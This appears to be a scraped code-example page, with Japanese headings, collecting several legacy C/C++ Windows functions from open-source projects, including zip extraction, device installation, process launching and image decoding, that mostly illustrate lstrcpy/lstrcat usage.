コード例 #1
0
ファイル: main.cpp プロジェクト: kichik/nsis-1
int tempzip_make(HWND hwndDlg, TCHAR *fn)
{
  TCHAR buf[MAX_PATH];
  GetTempPath(MAX_PATH,buf);
  GetTempFileName(buf,_T("z2e"),GetTickCount(),tempzip_path);
  if (!CreateDirectory(tempzip_path,NULL))
  {
    GetTempPath(MAX_PATH,tempzip_path);
    _tcscat(tempzip_path,_T("\\nsi"));
    if (!CreateDirectory(tempzip_path,NULL))
    {
      tempzip_path[0]=0;
      MessageBox(hwndDlg,_T("Error creating temporary directory"),g_errcaption,MB_OK|MB_ICONSTOP);
      return 1;
    }
  }
  FILE *fp=_tfopen(fn,_T("rb"));
  if (fp)
  {
    fseek(fp,0,SEEK_END);
    g_zipfile_size=ftell(fp);
    fclose(fp);
  }
  else g_zipfile_size=0;
  unzFile f;
  f = unzOpen(fn);
  if (!f || unzGoToFirstFile(f) != UNZ_OK)
  {
    if (f) unzClose(f);
    MessageBox(hwndDlg,_T("Error opening ZIP file"),g_errcaption,MB_OK|MB_ICONSTOP);
    return 1;
  }

  int nf=0, nkb=0;
  g_extracting=1;
  do {
    char filenameA[MAX_PATH];
    unz_file_info info;

    // ZREAD uses byte size, not TCHAR length.
    unzGetCurrentFileInfo(f,&info,filenameA,sizeof(filenameA),NULL,0,NULL,0);

    // was zip created on MS-DOS/Windows?
    if ((info.version & 0xFF00) == 0)
    {
      OemToCharBuffA(filenameA, filenameA, strlen(filenameA));
    }

#ifdef _UNICODE
    TCHAR filename[MAX_PATH];
    if (MultiByteToWideChar(CP_ACP, 0, filenameA, -1, filename, MAX_PATH) == 0)
    {
      if (f) unzClose(f);
      MessageBox(hwndDlg,_T("Error converting filename to Unicode"), g_errcaption, MB_OK|MB_ICONSTOP);
      return 1;
    }
#else
    char* filename = filenameA;
#endif

    if (filename[0] &&
        filename[_tcslen(filename)-1] != _T('\\') &&
        filename[_tcslen(filename)-1] != _T('/'))
    {
      TCHAR *pfn=filename;
      while (*pfn)
      {
        if (*pfn == _T('/')) *pfn=_T('\\');
        pfn++;
      }
      pfn=filename;
      if (pfn[1] == _T(':') && pfn[2] == _T('\\')) pfn+=3;
      while (*pfn == _T('\\')) pfn++;

      TCHAR out_filename[1024];
      lstrcpy(out_filename,tempzip_path);
      lstrcat(out_filename,_T("\\"));
      lstrcat(out_filename,pfn);
      if (_tcsstr(pfn,_T("\\")))
      {
        TCHAR buf[1024];
        lstrcpy(buf,out_filename);
        TCHAR *p=buf+_tcslen(buf);
        while (p > buf && *p != _T('\\')) p--;
        *p=0;
        if (buf[0]) doMKDir(buf);
      }

      if (unzOpenCurrentFile(f) == UNZ_OK)
      {
        SendDlgItemMessage(hwndDlg,IDC_ZIPINFO_FILES,LB_ADDSTRING,0,(LPARAM)pfn);
        FILE *fp;
        int l;
        fp = _tfopen(out_filename,_T("wb"));
        if (fp)
        {
          do
          {
            // Jim Park: Local buf, no need to TCHAR
            char buf[1024];
            l=unzReadCurrentFile(f,buf,sizeof(buf));
            if (l > 0)
            {
              if (fwrite(buf,1,l,fp) != (unsigned int)l)
              {
                unzClose(f);
                fclose(fp);
                MessageBox(hwndDlg,_T("Error writing output file(s)"),g_errcaption,MB_OK|MB_ICONSTOP);
                g_extracting=0;
                return 1;
              }
              nkb++;
            }
          } while (l > 0);

          fclose(fp);

          {
            // set file time
            HANDLE hf = CreateFile(out_filename, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, 0, 0);
            if (hf != INVALID_HANDLE_VALUE)
            {
              FILETIME ft, lft;
              DosDateTimeToFileTime(HIWORD(info.dosDate), LOWORD(info.dosDate), &ft);
              LocalFileTimeToFileTime(&ft, &lft);
              SetFileTime(hf, 0, 0, &lft);
              CloseHandle(hf);
            }
          }
        }
        else
        {
          unzClose(f);
          MessageBox(hwndDlg,_T("Error opening output file(s)"),g_errcaption,MB_OK|MB_ICONSTOP);
          g_extracting=0;
          return 1;
        }
        nf++;
        wsprintf(buf,_T("Extracting: %d files, %dKB"),nf,nkb);
        SetDlgItemText(hwndDlg,IDC_ZIPINFO_SUMMARY,buf);
        MSG msg;
        int quit=0;
        while (PeekMessage(&msg,NULL,0,0,PM_REMOVE))
        {
          if (msg.message == WM_DESTROY && msg.hwnd == g_hwnd)
          {
            quit++;
            break;
          }
          TranslateMessage(&msg);
          DispatchMessage(&msg);
        }
        unzCloseCurrentFile(f);
        if (quit) break;
      }
      else
      {
        unzClose(f);
        MessageBox(hwndDlg,_T("Error extracting from ZIP file"),g_errcaption,MB_OK|MB_ICONSTOP);
        g_extracting=0;
        return 1;
      }
    }
  } while (unzGoToNextFile(f) == UNZ_OK);

  g_extracting=0;
  wsprintf(buf,_T("Extracted: %d files, %dKB"),nf,nkb);
  SetDlgItemText(hwndDlg,IDC_ZIPINFO_SUMMARY,buf);
  unzClose(f);
  return 0;
}
コード例 #2
0
ファイル: vpn16.c プロジェクト: alex-docker/CE-dockerfiles
RETERR InstallNDIDevice(const char* szClass,
						const char* szDeviceID, 
						const char* szDriverPath,
						const char* szRegPath)
{
	char *szClassNetProtocol    = "NetTrans"; 
	char *szClassNet            = "Net";
	char *szClassNetClient      = "NetClient";
	char *szClassNetService		= "NetService";
	char *szNull                = "";
	char *szClassNetInfFileName        = "Net.inf";
	char *szClassNetTransInfFileName   = "Nettrans.inf";
	char *szClassNetClientInfFileName  = "Netcli.inf";
	char *szClassNetServiceInfFileName = "Netservr.inf";
	char *szRegKeyNdi           = "Ndi";
	char *szRegKeyBindings      = "Bindings";
	char *szRegValDeviceID      = "DeviceID";
	char *szRegValDriverDesc	= "DriverDesc";
	char *szRegValCompatibleIDs = REGSTR_VAL_COMPATIBLEIDS;
	char *szRegPathNetwork      = "Enum\\Network\\";
	char *szRegPathFilter       = "Enum\\Filter\\";
	char *szRegPathTemp         = "\\Temp";
	char *szVServer				= "VSERVER";
	LPDEVICE_INFO lpdi = NULL;
	RETERR	      err  = OK;

	err = DiCreateDeviceInfo( &lpdi, NULL, 0, NULL, NULL, szClass, NULL );
	
	if (err == OK)
	{
		HKEY hKeyTmp;
		
		lpdi->hRegKey = HKEY_LOCAL_MACHINE;
		lstrcpy( lpdi->szRegSubkey, szRegPathNetwork );
		lstrcat( lpdi->szRegSubkey, lpdi->szClassName );
		lstrcat( lpdi->szRegSubkey, szRegPathTemp );

		err = DiCreateDevRegKey( lpdi, &hKeyTmp, NULL, NULL, DIREG_DEV );

		if (err == OK)
		{
			if (SURegSetValueEx(hKeyTmp, 
			                      szRegValCompatibleIDs, 
			                      0, 
			                      REG_SZ, 
			                      (unsigned char *) szDeviceID,
			                      lstrlen( szDeviceID ) + 1 ) == ERROR_SUCCESS )
			{
            if ( szDriverPath )
            {
               if ( lpdi->atDriverPath = GlobalAddAtom( szDriverPath ) )
                  lpdi->Flags |= DI_ENUMSINGLEINF;
				}

				err = DiBuildCompatDrvList( lpdi );
				
				SURegCloseKey( hKeyTmp );
				
				DiDeleteDevRegKey( lpdi, DIREG_DEV );
				lpdi->hRegKey = NULL;
				lstrcpy( lpdi->szRegSubkey, szNull );

				if ( err || !lpdi->lpCompatDrvList )
				{
					err = DiSelectDevice( lpdi );		
				}
				else
				{
					lpdi->lpSelectedDriver = lpdi->lpCompatDrvList;
				}
				
				if ( err == OK )
				{
					if ( szRegPath )
					{
						lpdi->hRegKey = HKEY_LOCAL_MACHINE;
						lstrcpy( lpdi->szRegSubkey, szRegPath );
						
						DiCreateDevRegKey( lpdi, &hKeyTmp, NULL, NULL, DIREG_DEV );
					}

					lpdi->Flags |= DI_NOVCP | DI_NOFILECOPY | DI_QUIETINSTALL;
               err = DiCallClassInstaller( DIF_INSTALLDEVICE, lpdi );
				}
            else
            {
               DiDestroyDeviceInfoList( lpdi );
            }
			}
			else
			{
				DiDeleteDevRegKey( lpdi, DIREG_DEV );
            DiDestroyDeviceInfoList( lpdi );
			}
		}
      else
      {
         DiDestroyDeviceInfoList( lpdi );
      }
	}

	return err;		                 
}
コード例 #3
0
ファイル: install.c プロジェクト: MichaelMcDonnell/wine
static void test_RunSetupCommand(void)
{
    HRESULT hr;
    HANDLE hexe;
    char path[MAX_PATH];
    char dir[MAX_PATH];
    char systemdir[MAX_PATH];

    GetSystemDirectoryA(systemdir, sizeof(systemdir));

    /* try an invalid cmd name */
    hr = pRunSetupCommand(NULL, NULL, "Install", "Dir", "Title", NULL, 0, NULL);
    ok(hr == E_INVALIDARG, "Expected E_INVALIDARG, got %d\n", hr);

    /* try an invalid directory */
    hr = pRunSetupCommand(NULL, "winver.exe", "Install", NULL, "Title", NULL, 0, NULL);
    ok(hr == E_INVALIDARG, "Expected E_INVALIDARG, got %d\n", hr);

    /* try to run a nonexistent exe */
    hexe = (HANDLE)0xdeadbeef;
    hr = pRunSetupCommand(NULL, "idontexist.exe", "Install", systemdir, "Title", &hexe, 0, NULL);
    ok(hr == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND),
       "Expected HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND), got %d\n", hr);
    ok(hexe == NULL, "Expcted hexe to be NULL\n");
    ok(!TerminateProcess(hexe, 0), "Expected TerminateProcess to fail\n");

    /* try a bad directory */
    hexe = (HANDLE)0xdeadbeef;
    hr = pRunSetupCommand(NULL, "winver.exe", "Install", "non\\existent\\directory", "Title", &hexe, 0, NULL);
    ok(hr == HRESULT_FROM_WIN32(ERROR_DIRECTORY),
       "Expected HRESULT_FROM_WIN32(ERROR_DIRECTORY), got %d\n", hr);
    ok(hexe == NULL, "Expcted hexe to be NULL\n");
    ok(!TerminateProcess(hexe, 0), "Expected TerminateProcess to fail\n");

    /* try to run an exe with the RSC_FLAG_INF flag */
    hexe = (HANDLE)0xdeadbeef;
    hr = pRunSetupCommand(NULL, "winver.exe", "Install", systemdir, "Title", &hexe, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(is_spapi_err(hr), "Expected a setupapi error, got %d\n", hr);
    ok(hexe == (HANDLE)0xdeadbeef, "Expected hexe to be 0xdeadbeef\n");
    ok(!TerminateProcess(hexe, 0), "Expected TerminateProcess to fail\n");

    /* run winver.exe */
    hexe = (HANDLE)0xdeadbeef;
    hr = pRunSetupCommand(NULL, "winver.exe", "Install", systemdir, "Title", &hexe, 0, NULL);
    ok(hr == S_ASYNCHRONOUS, "Expected S_ASYNCHRONOUS, got %d\n", hr);
    ok(hexe != NULL, "Expected hexe to be non-NULL\n");
    ok(TerminateProcess(hexe, 0), "Expected TerminateProcess to succeed\n");

    CreateDirectoryA("one", NULL);
    create_inf_file("one\\test.inf");

    /* try a full path to the INF, with working dir provided */
    lstrcpy(path, CURR_DIR);
    lstrcat(path, "\\one\\test.inf");
    lstrcpy(dir, CURR_DIR);
    lstrcat(dir, "\\one");
    hr = pRunSetupCommand(NULL, path, "DefaultInstall", dir, "Title", NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(hr == ERROR_SUCCESS, "Expected ERROR_SUCCESS, got %d\n", hr);

    /* try a full path to the INF, NULL working dir */
    hr = pRunSetupCommand(NULL, path, "DefaultInstall", NULL, "Title", NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(hr == HRESULT_FROM_WIN32(ERROR_INVALID_PARAMETER),
       "Expected HRESULT_FROM_WIN32(ERROR_INVALID_PARAMETER), got %d\n", hr);

    /* try a full path to the INF, empty working dir */
    hr = pRunSetupCommand(NULL, path, "DefaultInstall", "", "Title", NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(hr == ERROR_SUCCESS, "Expected ERROR_SUCCESS, got %d\n", hr);

    /* try a relative path to the INF, with working dir provided */
    hr = pRunSetupCommand(NULL, "one\\test.inf", "DefaultInstall", dir, "Title", NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(hr == ERROR_SUCCESS, "Expected ERROR_SUCCESS, got %d\n", hr);

    /* try a relative path to the INF, NULL working dir */
    hr = pRunSetupCommand(NULL, "one\\test.inf", "DefaultInstall", NULL, "Title", NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(hr == HRESULT_FROM_WIN32(ERROR_INVALID_PARAMETER),
       "Expected HRESULT_FROM_WIN32(ERROR_INVALID_PARAMETER), got %d\n", hr);

    /* try a relative path to the INF, empty working dir */
    hr = pRunSetupCommand(NULL, "one\\test.inf", "DefaultInstall", "", "Title", NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(hr == ERROR_SUCCESS, "Expected ERROR_SUCCESS, got %d\n", hr);

    /* try only the INF filename, with working dir provided */
    hr = pRunSetupCommand(NULL, "test.inf", "DefaultInstall", dir, "Title", NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(hr == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND), "Expected HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND), got %d\n", hr);

    /* try only the INF filename, NULL working dir */
    hr = pRunSetupCommand(NULL, "test.inf", "DefaultInstall", NULL, "Title", NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(hr == HRESULT_FROM_WIN32(ERROR_INVALID_PARAMETER),
       "Expected HRESULT_FROM_WIN32(ERROR_INVALID_PARAMETER), got %d\n", hr);

    /* try only the INF filename, empty working dir */
    hr = pRunSetupCommand(NULL, "test.inf", "DefaultInstall", "", "Title", NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(hr == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND), "Expected HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND), got %d\n", hr);

    DeleteFileA("one\\test.inf");
    RemoveDirectoryA("one");

    create_inf_file("test.inf");

    /* try INF file in the current directory, working directory provided */
    hr = pRunSetupCommand(NULL, "test.inf", "DefaultInstall", CURR_DIR, "Title", NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(hr == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND), "Expected HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND), got %d\n", hr);

    /* try INF file in the current directory, NULL working directory */
    hr = pRunSetupCommand(NULL, "test.inf", "DefaultInstall", NULL, "Title", NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(hr == HRESULT_FROM_WIN32(ERROR_INVALID_PARAMETER),
       "Expected HRESULT_FROM_WIN32(ERROR_INVALID_PARAMETER), got %d\n", hr);

    /* try INF file in the current directory, empty working directory */
    hr = pRunSetupCommand(NULL, "test.inf", "DefaultInstall", CURR_DIR, "Title", NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL);
    ok(hr == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND), "Expected HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND), got %d\n", hr);
}
コード例 #4
0
ファイル: support.c プロジェクト: cftyngit/nctuns
void nt_execve(char *prog, char**args, char**envir ) {

	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	HANDLE htemp;
	BOOL bRet;
    DWORD type=0;
	DWORD dwCreationflags;
	unsigned int priority;
	char *argv0;
	char *cmdstr, *cmdend ;
	char *originalPtr;
	unsigned int cmdsize,cmdlen;
    char *p2;
	char **savedargs;
	int retries=0;
	int hasdot =0;
	int is_winnt ;

	memset(&si,0,sizeof(si));
	savedargs = args;

	/* 
	 * This memory is not freed because we are exec()ed and will
	 * not be alive long.
	 */
	originalPtr = cmdstr= heap_alloc(MAX_PATH<<2);

	is_winnt = (gdwPlatform != VER_PLATFORM_WIN32_WINDOWS);


	cmdsize = MAX_PATH<<2;

	p2 = cmdstr;

	cmdlen = 0;
	cmdlen += copy_quote_and_fix_slashes(prog,cmdstr,&hasdot);

	p2 += cmdlen;

	/* If the command was not quoted ,
	  skip initial character we left for quote */
	if (*cmdstr != '"') {
		*cmdstr = 'A';
		cmdstr++; 
		cmdsize--;
	}
	*p2 = 0;
	cmdend = p2;


	if (!is_winnt){
		argv0 = NULL;
		goto win95_directly_here;
	}
	else {
		argv0 = heap_alloc(MAX_PATH); /* not freed */
		wsprintf(argv0,"%s",prog);
	}

retry:

	bRet=GetBinaryType(argv0,&type);
	dprintf("binary type for %s is %d\n",argv0,bRet);
	//
	// For NT, append .EXE and retry
	//
	if (is_winnt && !bRet ) {
        /* Don't append .EXE if it could be a script file */
		if (GetLastError() == ERROR_BAD_EXE_FORMAT){
			errno = ENOEXEC;
			if (!__nt_only_start_exes)
				try_shell_ex(args,1,FALSE); //can't throw on error
			return;
		}
		else if ( retries ){
			if (
				( (argv0[0] == '\\') ||(argv0[0] == '/') ) &&
				( (argv0[1] == '\\') ||(argv0[1] == '/') ) &&
				(!args[1])
			   )
				if (!__nt_only_start_exes)
					try_shell_ex(args,1,FALSE);
			errno  = ENOENT;
		}
		if (retries > 1){
			return;
		}
		// Try uppercase once and then lower case
		//
		if (!retries)
			wsprintf(argv0,"%s.exe",prog);
		else 
			wsprintf(argv0,"%s.EXE",prog); /* fix for clearcase */
		retries++;
		goto retry;
	}

win95_directly_here:

	si.cb = sizeof(STARTUPINFO);
	si.dwFlags = STARTF_USESTDHANDLES;
	htemp= (HANDLE)_get_osfhandle(0);
	DuplicateHandle(GetCurrentProcess(),htemp,GetCurrentProcess(),
						&si.hStdInput,0,TRUE,DUPLICATE_SAME_ACCESS);
	htemp= (HANDLE)_get_osfhandle(1);
	DuplicateHandle(GetCurrentProcess(),htemp,GetCurrentProcess(),
						&si.hStdOutput,0,TRUE,DUPLICATE_SAME_ACCESS);
	htemp= (HANDLE)_get_osfhandle(2);
	DuplicateHandle(GetCurrentProcess(),htemp,GetCurrentProcess(),
						&si.hStdError,0,TRUE,DUPLICATE_SAME_ACCESS);



	*args++; // the first arg is the command


	dprintf("nt_execve calling c_a_a_q");
	if(!concat_args_and_quote(args,&originalPtr,&cmdstr,&cmdlen,&cmdend,
				&cmdsize))
	{
        dprintf("concat_args_and_quote failed\n");
		heap_free(originalPtr);
		errno = ENOMEM;
		goto fail_return;
	}

	*cmdend = 0;

	dwCreationflags = GetPriorityClass(GetCurrentProcess());
	if (__nt_child_nohupped) {
		dwCreationflags |= DETACHED_PROCESS;
	}
	priority = GetThreadPriority(GetCurrentThread());

	(void)fix_path_for_child();

	if (is_winnt)
		dwCreationflags |= CREATE_SUSPENDED;


re_cp:
	dprintf("argv0 %s cmdstr %s\n",argv0,cmdstr);
	bRet = CreateProcessA(argv0, cmdstr,
			NULL, NULL,
			TRUE, // need this for redirecting std handles
			dwCreationflags,
			NULL, NULL,
			&si,
			&pi);
	if (!bRet){
		if (GetLastError() == ERROR_BAD_EXE_FORMAT) {
			if (!__nt_only_start_exes)
				try_shell_ex(savedargs,1,FALSE);
			errno  = ENOEXEC;
		}
		else if (GetLastError() == ERROR_INVALID_PARAMETER) {
			/* can't get invalid parameter, so this must be
			 *  the case when we exceed the command length limit.
			 */
			errno = ENAMETOOLONG;
		}
		else {
			errno  = ENOENT;
		}
		if (!is_winnt && !hasdot) { //append '.' to the end if needed
			lstrcat(cmdstr,".");
			hasdot=1;
			goto re_cp;
		}
	}
	else{
		int gui_app ;
		char guivar[50];

		if (GetEnvironmentVariable("TCSH_NOASYNCGUI",guivar,50))
			gui_app=0;
		else {
			if (is_winnt || hasdot)
				gui_app= is_gui(argv0);
			else
				gui_app = is_9x_gui(prog);
		}

		if (is_winnt && !SetThreadPriority(pi.hThread,priority) ) {
			priority =GetLastError();
		}
		if (is_winnt)
			ResumeThread(pi.hThread);
		errno= 0;
		
		if (__nt_really_exec||__nt_child_nohupped || gui_app){
			ExitProcess(0);
		}
		else {
			DWORD exitcode=0;
			WaitForSingleObject(pi.hProcess,INFINITE);
			(void)GetExitCodeProcess(pi.hProcess,&exitcode);
			CloseHandle(pi.hProcess);
			CloseHandle(pi.hThread);
			/*
			 * If output was redirected to /dev/clipboard,
			 * we need to close the pipe handles
			 */
			if (is_dev_clipboard_active) {
				CloseHandle((HANDLE)_get_osfhandle(0));
				CloseHandle((HANDLE)_get_osfhandle(1));
				CloseHandle((HANDLE)_get_osfhandle(2));
				CloseHandle(si.hStdInput);
				CloseHandle(si.hStdOutput);
				CloseHandle(si.hStdError);
				WaitForSingleObject(ghdevclipthread,60*1000);
			}
			ExitProcess(exitcode);
		}
	}
fail_return:
    CloseHandle(si.hStdInput);
    CloseHandle(si.hStdOutput);
    CloseHandle(si.hStdError);
    return;
}
コード例 #5
0
ファイル: nmakehlp.c プロジェクト: patthoyts/tclftd2xx
int
CheckForLinkerFeature(
    const char *option)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    SECURITY_ATTRIBUTES sa;
    DWORD threadID;
    char msg[300];
    BOOL ok;
    HANDLE hProcess, h, pipeThreads[2];
    char cmdline[100];

    hProcess = GetCurrentProcess();

    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    ZeroMemory(&si, sizeof(STARTUPINFO));
    si.cb = sizeof(STARTUPINFO);
    si.dwFlags   = STARTF_USESTDHANDLES;
    si.hStdInput = INVALID_HANDLE_VALUE;

    ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;

    /*
     * Create a non-inheritible pipe.
     */

    CreatePipe(&Out.pipe, &h, &sa, 0);

    /*
     * Dupe the write side, make it inheritible, and close the original.
     */

    DuplicateHandle(hProcess, h, hProcess, &si.hStdOutput, 0, TRUE,
	    DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);

    /*
     * Same as above, but for the error side.
     */

    CreatePipe(&Err.pipe, &h, &sa, 0);
    DuplicateHandle(hProcess, h, hProcess, &si.hStdError, 0, TRUE,
	    DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);

    /*
     * Base command line.
     */

    lstrcpy(cmdline, "link.exe -nologo ");

    /*
     * Append our option for testing.
     */

    lstrcat(cmdline, option);

    ok = CreateProcess(
	    NULL,	    /* Module name. */
	    cmdline,	    /* Command line. */
	    NULL,	    /* Process handle not inheritable. */
	    NULL,	    /* Thread handle not inheritable. */
	    TRUE,	    /* yes, inherit handles. */
	    DETACHED_PROCESS, /* No console for you. */
	    NULL,	    /* Use parent's environment block. */
	    NULL,	    /* Use parent's starting directory. */
	    &si,	    /* Pointer to STARTUPINFO structure. */
	    &pi);	    /* Pointer to PROCESS_INFORMATION structure. */

    if (!ok) {
	DWORD err = GetLastError();
	int chars = snprintf(msg, sizeof(msg) - 1,
		"Tried to launch: \"%s\", but got error [%u]: ", cmdline, err);

	FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM|FORMAT_MESSAGE_IGNORE_INSERTS|
		FORMAT_MESSAGE_MAX_WIDTH_MASK, 0L, err, 0, (LPVOID)&msg[chars],
		(300-chars), 0);
	WriteFile(GetStdHandle(STD_ERROR_HANDLE), msg,lstrlen(msg), &err,NULL);
	return 2;
    }

    /*
     * Close our references to the write handles that have now been inherited.
     */

    CloseHandle(si.hStdOutput);
    CloseHandle(si.hStdError);

    WaitForInputIdle(pi.hProcess, 5000);
    CloseHandle(pi.hThread);

    /*
     * Start the pipe reader threads.
     */

    pipeThreads[0] = CreateThread(NULL, 0, ReadFromPipe, &Out, 0, &threadID);
    pipeThreads[1] = CreateThread(NULL, 0, ReadFromPipe, &Err, 0, &threadID);

    /*
     * Block waiting for the process to end.
     */

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);

    /*
     * Wait for our pipe to get done reading, should it be a little slow.
     */

    WaitForMultipleObjects(2, pipeThreads, TRUE, 500);
    CloseHandle(pipeThreads[0]);
    CloseHandle(pipeThreads[1]);

    /*
     * Look for the commandline warning code in the stderr stream.
     */

    return !(strstr(Out.buffer, "LNK1117") != NULL ||
	    strstr(Err.buffer, "LNK1117") != NULL ||
	    strstr(Out.buffer, "LNK4044") != NULL ||
	    strstr(Err.buffer, "LNK4044") != NULL);
}
コード例 #6
0
ファイル: gdip.cpp プロジェクト: alexlav/conemu
	bool GetPageBits(CET_LoadInfo *pDecodeInfo)
	{
		bool result = false;

		if (!lWidth || !lHeight)
		{
			pDecodeInfo->nErrNumber = PGE_INVALID_IMGSIZE;
			return false;
		}

		GDIPlusData *pData = (GDIPlusData*)CALLOC(sizeof(GDIPlusData));

		if (!pData)
		{
			pDecodeInfo->nErrNumber = PGE_NOT_ENOUGH_MEMORY;
		}
		else
		{
			pData->nMagic = eGdiStr_Bits;
			pData->pImg = this;
			pDecodeInfo->pFileContext = pData;
			wsprintf(pData->szInfo, L"%i x %i x %ibpp", lWidth, lHeight, nBPP);

			if (nPages > 1) wsprintf(pData->szInfo+lstrlen(pData->szInfo), L" [%i]", nPages);

			if (FormatName[0])
			{
				lstrcat(pData->szInfo, L" ");
				lstrcat(pData->szInfo, FormatName);
			}

			int nCanvasWidth  = pDecodeInfo->crLoadSize.X;
			int nCanvasHeight = pDecodeInfo->crLoadSize.Y;
			BOOL lbAllowThumb = (nFormatID == cfTIFF || nFormatID == cfTIFF || nFormatID == cfEXIF || nFormatID == cfJPEG);
			//&& (lWidth > (UINT)nCanvasWidth*5) && (lHeight > (UINT)nCanvasHeight*5);
			int nShowWidth, nShowHeight;
			CalculateShowSize(nCanvasWidth, nCanvasHeight, nShowWidth, nShowHeight, lbAllowThumb);
			// Получим из EXIF ориентацию
			int nOrient;

			if (!GetExifTagValueAsInt(PropertyTagOrientation, nOrient)) nOrient = 0;

			if (lbAllowThumb && nOrient)
			{
				Gdiplus::GpImage *thmb = NULL;
				// Сразу пытаемся извлечь в режиме превьюшки (полная картинка нам не нужна)
				Gdiplus::Status lRc = gdi->GdipGetImageThumbnail(img, nShowWidth, nShowHeight, &thmb,
				                      (Gdiplus::GetThumbnailImageAbort)DrawImageAbortCallback, gdi);

				if (thmb)
				{
					lRc = gdi->GdipDisposeImage(img);
					img = thmb;
					lRc = gdi->GdipGetImageWidth(img, &lWidth);
					lRc = gdi->GdipGetImageHeight(img, &lHeight);
				}

				// Теперь - крутим
				Gdiplus::RotateFlipType rft = Gdiplus::RotateNoneFlipNone;

				switch(nOrient)
				{
					case 3: rft = Gdiplus::Rotate180FlipNone; break;
					case 6: rft = Gdiplus::Rotate90FlipNone; break;
					case 8: rft = Gdiplus::Rotate270FlipNone; break;
					case 2: rft = Gdiplus::RotateNoneFlipX; break;
					case 4: rft = Gdiplus::RotateNoneFlipY; break;
					case 5: rft = Gdiplus::Rotate90FlipX; break;
					case 7: rft = Gdiplus::Rotate270FlipX; break;
				}

				if (rft)
				{
					lRc = gdi->GdipImageRotateFlip(img, rft);

					if (!lRc)
					{
						lRc = gdi->GdipGetImageWidth(img, &lWidth);
						lRc = gdi->GdipGetImageHeight(img, &lHeight); //-V519
						nCanvasWidth  = pDecodeInfo->crLoadSize.X;
						nCanvasHeight = pDecodeInfo->crLoadSize.Y;
						CalculateShowSize(nCanvasWidth, nCanvasHeight, nShowWidth, nShowHeight, lbAllowThumb);
					}
				}
			}

			nCanvasWidth  = nShowWidth;
			nCanvasHeight = nShowHeight;
			int nCanvasWidthS = nCanvasWidth; //((nCanvasWidth+7) >> 3) << 3; // try to align x8 pixels
			pData->hCompDc1 = CreateCompatibleDC(NULL);
			BITMAPINFOHEADER bmi = {sizeof(BITMAPINFOHEADER)};
			bmi.biWidth = nCanvasWidthS;
			bmi.biHeight = -nCanvasHeight; // Top-Down DIB
			bmi.biPlanes = 1;
			bmi.biBitCount = 32;
			bmi.biCompression = BI_RGB;
			LPBYTE pBits = NULL;
			pData->hDIB = CreateDIBSection(pData->hCompDc1, (BITMAPINFO*)&bmi, DIB_RGB_COLORS, (void**)&pBits, NULL, 0);

			if (!pData->hDIB)
			{
				_ASSERTE(pData->hDIB);
			}
			else
			{
				pData->hOld1 = (HBITMAP)SelectObject(pData->hCompDc1, pData->hDIB);
				RECT rcFull = {0,0,nCanvasWidthS, nCanvasHeight};
				HBRUSH hBr = CreateSolidBrush(pDecodeInfo->crBackground);
				FillRect(pData->hCompDc1, &rcFull, hBr);
				DeleteObject(hBr);
				Gdiplus::GpGraphics *pGr = NULL;
				Gdiplus::Status stat = gdi->GdipCreateFromHDC(pData->hCompDc1, &pGr);

				if (!stat)
				{
#ifdef _DEBUG

					if (nCanvasWidth!=nShowWidth || nCanvasHeight!=nShowHeight)
					{
						_ASSERTE(nCanvasWidth==nShowWidth && nCanvasHeight==nShowHeight);
					}

#endif
					//int x = (nCanvasWidth-nShowWidth)>>1;
					//int y = (nCanvasHeight-nShowHeight)>>1;
					stat = gdi->GdipDrawImageRectRectI(
					           pGr, img,
					           0, 0, nShowWidth, nShowHeight,
					           0, 0, lWidth, lHeight,
					           Gdiplus::UnitPixel, NULL, //NULL, NULL);
					           (Gdiplus::DrawImageAbort)DrawImageAbortCallback, gdi);
					gdi->GdipDeleteGraphics(pGr);
				}

				if (stat)
				{
					pDecodeInfo->nErrNumber = PGE_BITBLT_FAILED;
				}
				else
				{
					result = true;
					pDecodeInfo->pFileContext = (LPVOID)pData;
					pDecodeInfo->crSize.X = nCanvasWidth; pDecodeInfo->crSize.Y = nCanvasHeight;
					pDecodeInfo->cbStride = nCanvasWidthS * 4;
					pDecodeInfo->nBits = 32;
					pDecodeInfo->ColorModel = CET_CM_BGR;
					pDecodeInfo->pszComments = pData->szInfo;
					pDecodeInfo->cbPixelsSize = pDecodeInfo->cbStride * nCanvasHeight;
					pDecodeInfo->Pixels = (const DWORD*)pBits;
				}
			}

			pData->pImg = NULL;

			if (!result)
			{
				pDecodeInfo->pFileContext = this;
				pData->Close();
			}
		}

		return result;
	};
コード例 #7
0
